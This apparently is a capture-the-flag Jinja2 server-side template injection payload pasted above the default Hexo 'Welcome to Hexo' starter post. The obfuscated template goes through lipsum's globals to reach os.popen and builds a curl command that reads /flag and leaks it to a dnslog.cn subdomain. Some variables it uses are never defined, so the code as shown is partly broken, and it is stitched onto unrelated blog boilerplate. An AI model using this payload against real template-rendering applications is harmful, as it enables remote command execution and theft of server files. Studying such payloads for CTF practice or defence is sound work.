{%set n=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set aaa=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set ten=ste*nine %}
{% set r=dict(aa=a)|join|count*nine%}
{%set q=(config|string|list).pop(aaa)%}
{%set e=(config|string|list).pop(ten)%}
{%set c=(lipsum|string|list).pop(r)%}
{%set kg=(lipsum|string|list).pop(nine)%}
{%set globals=(c,c,dict(globals=a)|join,c,c)|join %}
{%set s=dict(o=a,s=b)|join%}
{%set geti=(c,c,dict(getitem=a)|join,c,c)|join %}
{% set popen=dict(popen=a)|join%}
{% set read=dict(read=a)|join%}
{%set p=((lipsum|attr(globals))|string|list).pop(n)%}
{%set fla=(dict(curl=a)|join,kg,p,dict(cat=a)|join,kg,e,dict(flag=a)|join,p,q,dict(cfiyve=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}
{%if ((lipsum|attr(globals))|attr(geti)(s)).popen(fla)%}ataoyyds{%endif%}

Posted on Edited on

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

0%